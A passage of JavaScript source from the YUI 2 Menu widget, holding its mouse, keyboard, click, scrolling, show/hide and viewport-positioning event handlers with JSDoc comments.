this.activeItem; if (oActiveItem) { oActiveItem.cfg.setProperty(_SELECTED, false); } oItemCfg = oItem.cfg; // Select and focus the current menu item oItemCfg.setProperty(_SELECTED, true); if (this.hasFocus() || oRoot._hasFocus) { oItem.focus(); oRoot._hasFocus = false; } if (this.cfg.getProperty(_AUTO_SUBMENU_DISPLAY)) { // Show the submenu this menu item oSubmenu = oItemCfg.getProperty(_SUBMENU); if (oSubmenu) { if (bShowDelay) { oRoot._showDelayTimer = Lang.later(oRoot.cfg.getProperty(_SHOW_DELAY), oSubmenu, showSubmenu); } else { oSubmenu.show(); } } } oItem.handledMouseOverEvent = true; oItem.handledMouseOutEvent = false; } } }, /** * @method _onMouseOut * @description "mouseout" event handler for the menu. * @protected * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. */ _onMouseOut: function (p_sType, p_aArgs) { var oEvent = p_aArgs[0], oItem = p_aArgs[1], oRelatedTarget = Event.getRelatedTarget(oEvent), bMovingToSubmenu = false, oItemCfg, oSubmenu, nSubmenuHideDelay, nShowDelay; if (!this._bStopMouseEventHandlers) { if (oItem && !oItem.cfg.getProperty(_DISABLED)) { oItemCfg = oItem.cfg; oSubmenu = oItemCfg.getProperty(_SUBMENU); if (oSubmenu && (oRelatedTarget == oSubmenu.element || Dom.isAncestor(oSubmenu.element, oRelatedTarget))) { bMovingToSubmenu = true; } if (!oItem.handledMouseOutEvent && ((oRelatedTarget != oItem.element && !Dom.isAncestor(oItem.element, oRelatedTarget)) || bMovingToSubmenu)) { if (!bMovingToSubmenu) { oItem.cfg.setProperty(_SELECTED, false); if (oSubmenu) { nSubmenuHideDelay = this.cfg.getProperty(_SUBMENU_HIDE_DELAY); nShowDelay = this.cfg.getProperty(_SHOW_DELAY); if (!(this instanceof YAHOO.widget.MenuBar) && nSubmenuHideDelay > 0 && nSubmenuHideDelay >= nShowDelay) { this._execSubmenuHideDelay(oSubmenu, Event.getPageX(oEvent), nSubmenuHideDelay); } else { oSubmenu.hide(); } } } oItem.handledMouseOutEvent = true; oItem.handledMouseOverEvent = false; } } if (!this._bHandledMouseOutEvent) { if (this._didMouseLeave(oRelatedTarget) || bMovingToSubmenu) { // Menu mouseout logic if (this._useHideDelay) { this._execHideDelay(); } Event.removeListener(this.element, _MOUSEMOVE, this._onMouseMove); this._nCurrentMouseX = Event.getPageX(oEvent); this._bHandledMouseOutEvent = true; this._bHandledMouseOverEvent = false; } } } }, /** * Utilility method to determine if we really moused out of the menu based on the related target * @method _didMouseLeave * @protected * @param {HTMLElement} oRelatedTarget The related target based on which we're making the decision * @return {boolean} true if it's OK to hide based on the related target. */ _didMouseLeave : function(oRelatedTarget) { // Hide if we're not moving back to the element from somewhere inside the element, or we're moving to an element inside the menu. // The shadow is treated as an edge case, inside inside the menu, but we get no further mouseouts, because it overflows the element, // so we need to close when moving to the menu. return (oRelatedTarget === this._shadow || (oRelatedTarget != this.element && !Dom.isAncestor(this.element, oRelatedTarget))); }, /** * @method _onMouseMove * @description "click" event handler for the menu. * @protected * @param {Event} p_oEvent Object representing the DOM event object passed * back by the event utility (YAHOO.util.Event). * @param {YAHOO.widget.Menu} p_oMenu Object representing the menu that * fired the event. */ _onMouseMove: function (p_oEvent, p_oMenu) { if (!this._bStopMouseEventHandlers) { this._nCurrentMouseX = Event.getPageX(p_oEvent); } }, /** * @method _onClick * @description "click" event handler for the menu. * @protected * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. */ _onClick: function (p_sType, p_aArgs) { var oEvent = p_aArgs[0], oItem = p_aArgs[1], bInMenuAnchor = false, oSubmenu, oMenu, oRoot, sId, sURL, nHashPos, nLen; var hide = function () { oRoot = this.getRoot(); if (oRoot instanceof YAHOO.widget.MenuBar || oRoot.cfg.getProperty(_POSITION) == _STATIC) { oRoot.clearActiveItem(); } else { oRoot.hide(); } }; if (oItem) { if (oItem.cfg.getProperty(_DISABLED)) { Event.preventDefault(oEvent); hide.call(this); } else { oSubmenu = oItem.cfg.getProperty(_SUBMENU); /* Check if the URL of the anchor is pointing to an element that is a child of the menu. */ sURL = oItem.cfg.getProperty(_URL); if (sURL) { nHashPos = sURL.indexOf(_HASH); nLen = sURL.length; if (nHashPos != -1) { sURL = sURL.substr(nHashPos, nLen); nLen = sURL.length; if (nLen > 1) { sId = sURL.substr(1, nLen); oMenu = YAHOO.widget.MenuManager.getMenu(sId); if (oMenu) { bInMenuAnchor = (this.getRoot() === oMenu.getRoot()); } } else if (nLen === 1) { bInMenuAnchor = true; } } } if (bInMenuAnchor && !oItem.cfg.getProperty(_TARGET)) { Event.preventDefault(oEvent); if (UA.webkit) { oItem.focus(); } else { oItem.focusEvent.fire(); } } if (!oSubmenu && !this.cfg.getProperty(_KEEP_OPEN)) { hide.call(this); } } } }, /* This function is called to prevent a bug in Firefox. In Firefox, moving a DOM element into a stationary mouse pointer will cause the browser to fire mouse events. This can result in the menu mouse event handlers being called uncessarily, especially when menus are moved into a stationary mouse pointer as a result of a key event handler. */ /** * Utility method to stop mouseevents from being fired if the DOM * changes under a stationary mouse pointer (as opposed to the mouse moving * over a DOM element). * * @method _stopMouseEventHandlers * @private */ _stopMouseEventHandlers: function() { this._bStopMouseEventHandlers = true; Lang.later(10, this, function () { this._bStopMouseEventHandlers = false; }); }, /** * @method _onKeyDown * @description "keydown" event handler for the menu. * @protected * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. */ _onKeyDown: function (p_sType, p_aArgs) { var oEvent = p_aArgs[0], oItem = p_aArgs[1], oSubmenu, oItemCfg, oParentItem, oRoot, oNextItem, oBody, nBodyScrollTop, nBodyOffsetHeight, aItems, nItems, nNextItemOffsetTop, nScrollTarget, oParentMenu, oFocusedEl; if (this._useHideDelay) { this._cancelHideDelay(); } if (oItem && !oItem.cfg.getProperty(_DISABLED)) { oItemCfg = oItem.cfg; oParentItem = this.parent; switch(oEvent.keyCode) { case 38: // Up arrow case 40: // Down arrow oNextItem = (oEvent.keyCode == 38) ? oItem.getPreviousEnabledSibling() : oItem.getNextEnabledSibling(); if (oNextItem) { this.clearActiveItem(); oNextItem.cfg.setProperty(_SELECTED, true); oNextItem.focus(); if (this.cfg.getProperty(_MAX_HEIGHT) > 0 || Dom.hasClass(this.body, _YUI_MENU_BODY_SCROLLED)) { oBody = this.body; nBodyScrollTop = oBody.scrollTop; nBodyOffsetHeight = oBody.offsetHeight; aItems = this.getItems(); nItems = aItems.length - 1; nNextItemOffsetTop = oNextItem.element.offsetTop; if (oEvent.keyCode == 40 ) { // Down if (nNextItemOffsetTop >= (nBodyOffsetHeight + nBodyScrollTop)) { oBody.scrollTop = nNextItemOffsetTop - nBodyOffsetHeight; } else if (nNextItemOffsetTop <= nBodyScrollTop) { oBody.scrollTop = 0; } if (oNextItem == aItems[nItems]) { oBody.scrollTop = oNextItem.element.offsetTop; } } else { // Up if (nNextItemOffsetTop <= nBodyScrollTop) { oBody.scrollTop = nNextItemOffsetTop - oNextItem.element.offsetHeight; } else if (nNextItemOffsetTop >= (nBodyScrollTop + nBodyOffsetHeight)) { oBody.scrollTop = nNextItemOffsetTop; } if (oNextItem == aItems[0]) { oBody.scrollTop = 0; } } nBodyScrollTop = oBody.scrollTop; nScrollTarget = oBody.scrollHeight - oBody.offsetHeight; if (nBodyScrollTop === 0) { this._disableScrollHeader(); this._enableScrollFooter(); } else if (nBodyScrollTop == nScrollTarget) { this._enableScrollHeader(); this._disableScrollFooter(); } else { this._enableScrollHeader(); this._enableScrollFooter(); } } } Event.preventDefault(oEvent); this._stopMouseEventHandlers(); break; case 39: // Right arrow oSubmenu = oItemCfg.getProperty(_SUBMENU); if (oSubmenu) { if (!oItemCfg.getProperty(_SELECTED)) { oItemCfg.setProperty(_SELECTED, true); } oSubmenu.show(); oSubmenu.setInitialFocus(); oSubmenu.setInitialSelection(); } else { oRoot = this.getRoot(); if (oRoot instanceof YAHOO.widget.MenuBar) { oNextItem = oRoot.activeItem.getNextEnabledSibling(); if (oNextItem) { oRoot.clearActiveItem(); oNextItem.cfg.setProperty(_SELECTED, true); oSubmenu = oNextItem.cfg.getProperty(_SUBMENU); if (oSubmenu) { oSubmenu.show(); oSubmenu.setInitialFocus(); } else { oNextItem.focus(); } } } } Event.preventDefault(oEvent); this._stopMouseEventHandlers(); break; case 37: // Left arrow if (oParentItem) { oParentMenu = oParentItem.parent; if (oParentMenu instanceof YAHOO.widget.MenuBar) { oNextItem = oParentMenu.activeItem.getPreviousEnabledSibling(); if (oNextItem) { oParentMenu.clearActiveItem(); oNextItem.cfg.setProperty(_SELECTED, true); oSubmenu = oNextItem.cfg.getProperty(_SUBMENU); if (oSubmenu) { oSubmenu.show(); oSubmenu.setInitialFocus(); } else { oNextItem.focus(); } } } else { this.hide(); oParentItem.focus(); } } Event.preventDefault(oEvent); this._stopMouseEventHandlers(); break; } } if (oEvent.keyCode == 27) { // Esc key if (this.cfg.getProperty(_POSITION) == _DYNAMIC) { this.hide(); if (this.parent) { this.parent.focus(); } else { // Focus the element that previously had focus oFocusedEl = this._focusedElement; if (oFocusedEl && oFocusedEl.focus) { try { oFocusedEl.focus(); } catch(ex) { } } } } else if (this.activeItem) { oSubmenu = this.activeItem.cfg.getProperty(_SUBMENU); if (oSubmenu && oSubmenu.cfg.getProperty(_VISIBLE)) { oSubmenu.hide(); this.activeItem.focus(); } else { this.activeItem.blur(); this.activeItem.cfg.setProperty(_SELECTED, false); } } Event.preventDefault(oEvent); } }, /** * @method _onKeyPress * @description "keypress" event handler for a Menu instance. * @protected * @param {String} p_sType The name of the event that was fired. * @param {Array} p_aArgs Collection of arguments sent when the event * was fired. */ _onKeyPress: function (p_sType, p_aArgs) { var oEvent = p_aArgs[0]; if (oEvent.keyCode == 40 || oEvent.keyCode == 38) { Event.preventDefault(oEvent); } }, /** * @method _onBlur * @description "blur" event handler for a Menu instance. * @protected * @param {String} p_sType The name of the event that was fired. * @param {Array} p_aArgs Collection of arguments sent when the event * was fired. */ _onBlur: function (p_sType, p_aArgs) { if (this._hasFocus) { this._hasFocus = false; } }, /** * @method _onYChange * @description "y" event handler for a Menu instance. * @protected * @param {String} p_sType The name of the event that was fired. * @param {Array} p_aArgs Collection of arguments sent when the event * was fired. */ _onYChange: function (p_sType, p_aArgs) { var oParent = this.parent, nScrollTop, oIFrame, nY; if (oParent) { nScrollTop = oParent.parent.body.scrollTop; if (nScrollTop > 0) { nY = (this.cfg.getProperty(_Y) - nScrollTop); Dom.setY(this.element, nY); oIFrame = this.iframe; if (oIFrame) { Dom.setY(oIFrame, nY); } this.cfg.setProperty(_Y, nY, true); } } }, /** * @method _onScrollTargetMouseOver * @description "mouseover" event handler for the menu's "header" and "footer" * elements. Used to scroll the body of the menu up and down when the * menu's "maxheight" configuration property is set to a value greater than 0. * @protected * @param {Event} p_oEvent Object representing the DOM event object passed * back by the event utility (YAHOO.util.Event). * @param {YAHOO.widget.Menu} p_oMenu Object representing the menu that * fired the event. */ _onScrollTargetMouseOver: function (p_oEvent, p_oMenu) { var oBodyScrollTimer = this._bodyScrollTimer; if (oBodyScrollTimer) { oBodyScrollTimer.cancel(); } this._cancelHideDelay(); var oTarget = Event.getTarget(p_oEvent), oBody = this.body, nScrollIncrement = this.cfg.getProperty(_SCROLL_INCREMENT), nScrollTarget, fnScrollFunction; function scrollBodyDown() { var nScrollTop = oBody.scrollTop; if (nScrollTop < nScrollTarget) { oBody.scrollTop = (nScrollTop + nScrollIncrement); this._enableScrollHeader(); } else { oBody.scrollTop = nScrollTarget; this._bodyScrollTimer.cancel(); this._disableScrollFooter(); } } function scrollBodyUp() { var nScrollTop = oBody.scrollTop; if (nScrollTop > 0) { oBody.scrollTop = (nScrollTop - nScrollIncrement); this._enableScrollFooter(); } else { oBody.scrollTop = 0; this._bodyScrollTimer.cancel(); this._disableScrollHeader(); } } if (Dom.hasClass(oTarget, _HD)) { fnScrollFunction = scrollBodyUp; } else { nScrollTarget = oBody.scrollHeight - oBody.offsetHeight; fnScrollFunction = scrollBodyDown; } this._bodyScrollTimer = Lang.later(10, this, fnScrollFunction, null, true); }, /** * @method _onScrollTargetMouseOut * @description "mouseout" event handler for the menu's "header" and "footer" * elements. Used to stop scrolling the body of the menu up and down when the * menu's "maxheight" configuration property is set to a value greater than 0. * @protected * @param {Event} p_oEvent Object representing the DOM event object passed * back by the event utility (YAHOO.util.Event). * @param {YAHOO.widget.Menu} p_oMenu Object representing the menu that * fired the event. */ _onScrollTargetMouseOut: function (p_oEvent, p_oMenu) { var oBodyScrollTimer = this._bodyScrollTimer; if (oBodyScrollTimer) { oBodyScrollTimer.cancel(); } this._cancelHideDelay(); }, // Private methods /** * @method _onInit * @description "init" event handler for the menu. * @private * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. */ _onInit: function (p_sType, p_aArgs) { this.cfg.subscribeToConfigEvent(_VISIBLE, this._onVisibleChange); var bRootMenu = !this.parent, bLazyLoad = this.lazyLoad; /* Automatically initialize a menu's subtree if: 1) This is the root menu and lazyload is off 2) This is the root menu, lazyload is on, but the menu is already visible 3) This menu is a submenu and lazyload is off */ if (((bRootMenu && !bLazyLoad) || (bRootMenu && (this.cfg.getProperty(_VISIBLE) || this.cfg.getProperty(_POSITION) == _STATIC)) || (!bRootMenu && !bLazyLoad)) && this.getItemGroups().length === 0) { if (this.srcElement) { this._initSubTree(); } if (this.itemData) { this.addItems(this.itemData); } } else if (bLazyLoad) { this.cfg.fireQueue(); } }, /** * @method _onBeforeRender * @description "beforerender" event handler for the menu. Appends all of the * <code>&#60;ul&#62;</code>, <code>&#60;li&#62;</code> and their accompanying * title elements to the body element of the menu. * @private * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. */ _onBeforeRender: function (p_sType, p_aArgs) { var oEl = this.element, nListElements = this._aListElements.length, bFirstList = true, i = 0, oUL, oGroupTitle; if (nListElements > 0) { do { oUL = this._aListElements[i]; if (oUL) { if (bFirstList) { Dom.addClass(oUL, _FIRST_OF_TYPE); bFirstList = false; } if (!Dom.isAncestor(oEl, oUL)) { this.appendToBody(oUL); } oGroupTitle = this._aGroupTitleElements[i]; if (oGroupTitle) { if (!Dom.isAncestor(oEl, oGroupTitle)) { oUL.parentNode.insertBefore(oGroupTitle, oUL); } Dom.addClass(oUL, _HAS_TITLE); } } i++; } while (i < nListElements); } }, /** * @method _onRender * @description "render" event handler for the menu. * @private * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. */ _onRender: function (p_sType, p_aArgs) { if (this.cfg.getProperty(_POSITION) == _DYNAMIC) { if (!this.cfg.getProperty(_VISIBLE)) { this.positionOffScreen(); } } }, /** * @method _onBeforeShow * @description "beforeshow" event handler for the menu. * @private * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. */ _onBeforeShow: function (p_sType, p_aArgs) { var nOptions, n, oSrcElement, oContainer = this.cfg.getProperty(_CONTAINER); if (this.lazyLoad && this.getItemGroups().length === 0) { if (this.srcElement) { this._initSubTree(); } if (this.itemData) { if (this.parent && this.parent.parent && this.parent.parent.srcElement && this.parent.parent.srcElement.tagName.toUpperCase() == _SELECT) { nOptions = this.itemData.length; for(n=0; n<nOptions; n++) { if (this.itemData[n].tagName) { this.addItem((new this.ITEM_TYPE(this.itemData[n]))); } } } else { this.addItems(this.itemData); } } oSrcElement = this.srcElement; if (oSrcElement) { if (oSrcElement.tagName.toUpperCase() == _SELECT) { if (Dom.inDocument(oSrcElement)) { this.render(oSrcElement.parentNode); } else { this.render(oContainer); } } else { this.render(); } } else { if (this.parent) { this.render(this.parent.element); } else { this.render(oContainer); } } } var oParent = this.parent, aAlignment; if (!oParent && this.cfg.getProperty(_POSITION) == _DYNAMIC) { this.cfg.refireEvent(_XY); } if (oParent) { aAlignment = oParent.parent.cfg.getProperty(_SUBMENU_ALIGNMENT); this.cfg.setProperty(_CONTEXT, [oParent.element, aAlignment[0], aAlignment[1]]); this.align(); } }, getConstrainedY: function (y) { var oMenu = this, aContext = oMenu.cfg.getProperty(_CONTEXT), nInitialMaxHeight = oMenu.cfg.getProperty(_MAX_HEIGHT), nMaxHeight, oOverlapPositions = { "trbr": true, "tlbl": true, "bltl": true, "brtr": true }, bPotentialContextOverlap = (aContext && oOverlapPositions[aContext[1] + aContext[2]]), oMenuEl = oMenu.element, nMenuOffsetHeight = oMenuEl.offsetHeight, nViewportOffset = Overlay.VIEWPORT_OFFSET, viewPortHeight = Dom.getViewportHeight(), scrollY = Dom.getDocumentScrollTop(), bCanConstrain = (oMenu.cfg.getProperty(_MIN_SCROLL_HEIGHT) + nViewportOffset < viewPortHeight), nAvailableHeight, oContextEl, nContextElY, nContextElHeight, bFlipped = false, nTopRegionHeight, nBottomRegionHeight, topConstraint = scrollY + nViewportOffset, bottomConstraint = scrollY + viewPortHeight - nMenuOffsetHeight - nViewportOffset, yNew = y; var flipVertical = function () { var nNewY; // The Menu is below the context element, flip it above if ((oMenu.cfg.getProperty(_Y) - scrollY) > nContextElY) { nNewY = (nContextElY - nMenuOffsetHeight); } else { // The Menu is above the context element, flip it below nNewY = (nContextElY + nContextElHeight); } oMenu.cfg.setProperty(_Y, (nNewY + scrollY), true); return nNewY; }; /* Uses the context element's position to calculate the availble height above and below it to display its corresponding Menu. */ var getDisplayRegionHeight = function () { // The Menu is below the context element if ((oMenu.cfg.getProperty(_Y) - scrollY) > nContextElY) { return (nBottomRegionHeight - nViewportOffset); } else { // The Menu is above the context element return (nTopRegionHeight - nViewportOffset); } }; /* Sets the Menu's "y" configuration property to the correct value based on its current orientation. */ var alignY = function () { var nNewY; if ((oMenu.cfg.getProperty(_Y) - scrollY) > nContextElY) { nNewY = (nContextElY + nContextElHeight); } else { nNewY = (nContextElY - oMenuEl.offsetHeight); } oMenu.cfg.setProperty(_Y, (nNewY + scrollY), true); }; // Resets the maxheight of the Menu to the value set by the user var resetMaxHeight = function () { oMenu._setScrollHeight(this.cfg.getProperty(_MAX_HEIGHT)); oMenu.hideEvent.unsubscribe(resetMaxHeight); }; /* Trys to place the Menu in the best possible position (either above or below its corresponding context element). */ var setVerticalPosition = function () { var nDisplayRegionHeight = getDisplayRegionHeight(), bMenuHasItems = (oMenu.getItems().length > 0), nMenuMinScrollHeight, fnReturnVal; if (nMenuOffsetHeight > nDisplayRegionHeight) { nMenuMinScrollHeight = bMenuHasItems ? oMenu.cfg.getProperty(_MIN_SCROLL_HEIGHT) : nMenuOffsetHeight; if ((nDisplayRegionHeight > nMenuMinScrollHeight) && bMenuHasItems) { nMaxHeight = nDisplayRegionHeight; } else { nMaxHeight = nInitialMaxHeight; } oMenu._setScrollHeight(nMaxHeight); oMenu.hideEvent.subscribe(resetMaxHeight); // Re-align the Menu since its height has just changed // as a result of the setting of the maxheight property. alignY(); if (nDisplayRegionHeight < nMenuMinScrollHeight) { if (bFlipped) { /* All possible positions and values for the "maxheight" configuration property have been tried, but none were successful, so fall back to the original size and position. */ flipVertical(); } else { flipVertical(); bFlipped = true; fnReturnVal = setVerticalPosition(); } } } else if (nMaxHeight && (nMaxHeight !== nInitialMaxHeight)) { oMenu._setScrollHeight(nInitialMaxHeight); oMenu.hideEvent.subscribe(resetMaxHeight); // Re-align the Menu since its height has just changed // as a result of the setting of the maxheight property. alignY(); } return fnReturnVal; }; // Determine if the current value for the Menu's "y" configuration property will // result in the Menu being positioned outside the boundaries of the viewport if (y < topConstraint || y > bottomConstraint) { // The current value for the Menu's "y" configuration property WILL // result in the Menu being positioned outside the boundaries of the viewport if (bCanConstrain) { if (oMenu.cfg.getProperty(_PREVENT_CONTEXT_OVERLAP) && bPotentialContextOverlap) { // SOLUTION #1: // If the "preventcontextoverlap" configuration property is set to "true", // try to flip and/or scroll the Menu to both keep it inside the boundaries of the // viewport AND from overlaping its context element (MenuItem or MenuBarItem). oContextEl = aContext[0]; nContextElHeight = oContextEl.offsetHeight; nContextElY = (Dom.getY(oContextEl) - scrollY); nTopRegionHeight = nContextElY; nBottomRegionHeight = (viewPortHeight - (nContextElY + nContextElHeight)); setVerticalPosition(); yNew = oMenu.cfg.getProperty(_Y); } else if (!(oMenu instanceof YAHOO.widget.MenuBar) && nMenuOffsetHeight >= viewPortHeight) { // SOLUTION #2: // If the Menu exceeds the height of the viewport, introduce scroll bars // to keep the Menu inside the boundaries of the viewport nAvailableHeight = (viewPortHeight - (nViewportOffset * 2)); if (nAvailableHeight > oMenu.cfg.getProperty(_MIN_SCROLL_HEIGHT)) { oMenu._setScrollHeight(nAvailableHeight); oMenu.hideEvent.subscribe(resetMaxHeight); alignY(); yNew = oMenu.cfg.getProperty(_Y); } } else { // SOLUTION #3: if (y < topConstraint) { yNew = topConstraint; } else if (y > bottomConstraint) { yNew = bottomConstraint; } } } else { // The "y" configuration property cannot be set to a value that will keep // entire Menu inside the boundary of the viewport. Therefore, set // the "y" configuration property to scrollY to keep as much of the // Menu inside the viewport as possible. yNew = nViewportOffset + scrollY; } } return yNew; }, /** * @method _onHide * @description "hide" event handler for the menu. * @private * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. */ _onHide: function (p_sType, p_aArgs) { if (this.cfg.getProperty(_POSITION) === _DYNAMIC) { this.positionOffScreen(); } }, /** * @method _onShow * @description "show" event handler for the menu. * @private * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. */ _onShow: function (p_sType, p_aArgs) { var oParent = this.parent, oParentMenu, oElement, nOffsetWidth, sWidth; function disableAutoSubmenuDisplay(p_oEvent) { var oTarget; if (p_oEvent.type == _MOUSEDOWN || (p_oEvent.type == _KEYDOWN && p_oEvent.keyCode == 27)) { /* Set the "autosubmenudisplay" to "false" if the user clicks outside the menu bar. */ oTarget = Event.getTarget(p_oEvent); if (oTarget != oParentMenu.element || !Dom.isAncestor(oParentMenu.element, oTarget)) { oParentMenu.cfg.setProperty(_AUTO_SUBMENU_DISPLAY, false); Event.removeListener(document, _MOUSEDOWN, disableAutoSubmenuDisplay); Event.removeListener(document, _KEYDOWN, disableAutoSubmenuDisplay); } } } function onSubmenuHide(p_sType, p_aArgs, p_sWidth) { this.cfg.setProperty(_WIDTH, _EMPTY_STRING); this.hideEvent.unsubscribe(onSubmenuHide, p_sWidth); } if (oParent) { oParentMenu = oParent.parent; if (!oParentMenu.cfg.getProperty(_AUTO_SUBMENU_DISPLAY) && (oParentMenu instanceof YAHOO.widget.MenuBar || oParentMenu.cfg.getProperty(_POSITION) == _STATIC)) { oParentMenu.cfg.setProperty(_AUTO_SUBMENU_DISPLAY, true); Event.on(document, _MOUSEDOWN, disableAutoSubmenuDisplay); Event.on(document, _KEYDOWN, disableAutoSubmenuDisplay); } // The following fixes an issue with the selected state of a MenuItem // not rendering correctly when a submenu is aligned to the left of // its parent Menu instance. if ((this.cfg.getProperty("x") < oParentMenu.cfg.getProperty("x")) && (UA.gecko && UA.gecko < 1.9) && !this.cfg.getProperty(_WIDTH)) { oElement = this.element; nOffsetWidth = oElement.offsetWidth; /* Measuring the difference of the offsetWidth before and after setting the "width" style attribute allows us to compute the about of padding and borders applied to the element, which in turn allows us to set the "width" property correctly. */ oElement.style.width = nOffsetWidth + _PX; sWidth = (nOffsetWidth - (oElement.offsetWidth - nOffsetWidth)) + _PX; this.cfg.setProperty(_WIDTH, sWidth); this.hideEvent.subscribe(onSubmenuHide, sWidth); } } /* Dynamically positioned, root Menus focus themselves when visible, and will then, when hidden, restore focus to the UI control that had focus before the Menu was made visible. */ if (this === this.getRoot() && this.cfg.getProperty(_POSITION) === _DYNAMIC) { this._focusedElement = oFocusedElement; this.focus(); } }, /** * @method _onBeforeHide * @description "beforehide" event handler for the menu. * @private * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. */ _onBeforeHide: function (p_sType, p_aArgs) { var oActiveItem = this.activeItem, oRoot = this.getRoot(), oConfig, oSubmenu; if (oActiveItem) { oConfig = oActiveItem.cfg; oConfig.setProperty(_SELECTED, false); oSubmenu = oConfig.getProperty(_SUBMENU); if (oSubmenu) { oSubmenu.hide(); } } /* Focus can get lost in IE when the mouse is moving from a submenu back to its parent Menu. For this reason, it is necessary to maintain the focused state in a private property so that the _onMouseOver event handler is able to determined whether or not to set focus to MenuItems as the user is moving the mouse. */ if (UA.ie && this.cfg.getProperty(_POSITION) === _DYNAMIC && this.parent) { oRoot._hasFocus = this.hasFocus(); } if (oRoot == this) { oRoot.blur(); } }, /** * @method _onParentMenuConfigChange * @description "configchange" event handler for a submenu. * @private * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.Menu} p_oSubmenu Object representing the submenu that * subscribed to the event. */ _onParentMenuConfigChange: function (p_sType, p_aArgs, p_oSubmenu) { var sPropertyName = p_aArgs[0][0], oPropertyValue = p_aArgs[0][1]; switch(sPropertyName) { case _IFRAME: case _CONSTRAIN_TO_VIEWPORT: case _HIDE_DELAY: case _SHOW_DELAY: case _SUBMENU_HIDE_DELAY: case _CLICK_TO_HIDE: case _EFFECT: case _CLASSNAME: case _SCROLL_INCREMENT: case _MAX_HEIGHT: case _MIN_SCROLL_HEIGHT: case _MONITOR_RESIZE: case _SHADOW: case _PREVENT_CONTEXT_OVERLAP: case _KEEP_OPEN: p_oSubmenu.cfg.setProperty(sPropertyName, oPropertyValue); break; case _SUBMENU_ALIGNMENT: if (!(this.parent.parent instanceof YAHOO.widget.MenuBar)) { p_oSubmenu.cfg.setProperty(sPropertyName, oPropertyValue); } break; } }, /** * @method _onParentMenuRender * @description "render" event handler for a submenu. Renders a * submenu in response to the firing of its parent's "render" event. * @private * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.Menu} p_oSubmenu Object representing the submenu that * subscribed to the event. */ _onParentMenuRender: function (p_sType, p_aArgs, p_oSubmenu) { var oParentMenu = p_oSubmenu.parent.parent, oParentCfg = oParentMenu.cfg, oConfig = { constraintoviewport: oParentCfg.getProperty(_CONSTRAIN_TO_VIEWPORT), xy: [0,0], clicktohide: oParentCfg.getProperty(_CLICK_TO_HIDE), effect: oParentCfg.getProperty(_EFFECT), showdelay: oParentCfg.getProperty(_SHOW_DELAY), hidedelay: oParentCfg.getProperty(_HIDE_DELAY), submenuhidedelay: oParentCfg.getProperty(_SUBMENU_HIDE_DELAY), classname: oParentCfg.getProperty(_CLASSNAME), scrollincrement: oParentCfg.getProperty(_SCROLL_INCREMENT), maxheight: oParentCfg.getProperty(_MAX_HEIGHT), minscrollheight: oParentCfg.getProperty(_MIN_SCROLL_HEIGHT), iframe: oParentCfg.getProperty(_IFRAME), shadow: oParentCfg.getProperty(_SHADOW), preventcontextoverlap: oParentCfg.getProperty(_PREVENT_CONTEXT_OVERLAP), monitorresize: oParentCfg.getProperty(_MONITOR_RESIZE), keepopen: oParentCfg.getProperty(_KEEP_OPEN) }, oLI; if (!(oParentMenu instanceof YAHOO.widget.MenuBar)) { oConfig[_SUBMENU_ALIGNMENT] = oParentCfg.getProperty(_SUBMENU_ALIGNMENT); } p_oSubmenu.cfg.applyConfig(oConfig); if (!this.lazyLoad) { oLI = this.parent.element; if (this.element.parentNode == oLI) { this.render(); } else { this.render(oLI); } } }, /** * @method _onMenuItemDestroy * @description "destroy" event handler for the menu's items. * @private * @param {String} p_sType String representing the name of the event * that was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.MenuItem} p_oItem Object representing the menu item * that fired the event. */ _onMenuItemDestroy: function (p_sType, p_aArgs, p_oItem) { this._removeItemFromGroupByValue(p_oItem.groupIndex, p_oItem); }, /** * @method _onMenuItemConfigChange * @description "configchange" event handler for the menu's items. * @private * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.MenuItem} p_oItem Object representing the menu item * that fired the event. */ _onMenuItemConfigChange: function (p_sType, p_aArgs, p_oItem) { var sPropertyName = p_aArgs[0][0], oPropertyValue = p_aArgs[0][1], oSubmenu; switch(sPropertyName) { case _SELECTED: if (oPropertyValue === true) { this.activeItem = p_oItem; } break; case _SUBMENU: oSubmenu = p_aArgs[0][1]; if (oSubmenu) { this._configureSubmenu(p_oItem); } break; } }, // Public event handlers for configuration properties /** * @method configVisible * @description Event handler for when the "visible" configuration property * the menu changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.Menu} p_oMenu Object representing the menu that * fired the event. */ configVisible: function (p_sType, p_aArgs, p_oMenu) { var bVisible, sDisplay; if (this.cfg.getProperty(_POSITION) == _DYNAMIC) { Menu.superclass.configVisible.call(this, p_sType, p_aArgs, p_oMenu); } else { bVisible = p_aArgs[0]; sDisplay = Dom.getStyle(this.element, _DISPLAY); Dom.setStyle(this.element, _VISIBILITY, _VISIBLE); if (bVisible) { if (sDisplay != _BLOCK) { this.beforeShowEvent.fire(); Dom.setStyle(this.element, _DISPLAY, _BLOCK); this.showEvent.fire(); } } else { if (sDisplay == _BLOCK) { this.beforeHideEvent.fire(); Dom.setStyle(this.element, _DISPLAY, _NONE); this.hideEvent.fire(); } } } }, /** * @method configPosition * @description Event handler for when the "position" configuration property * of the menu changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param 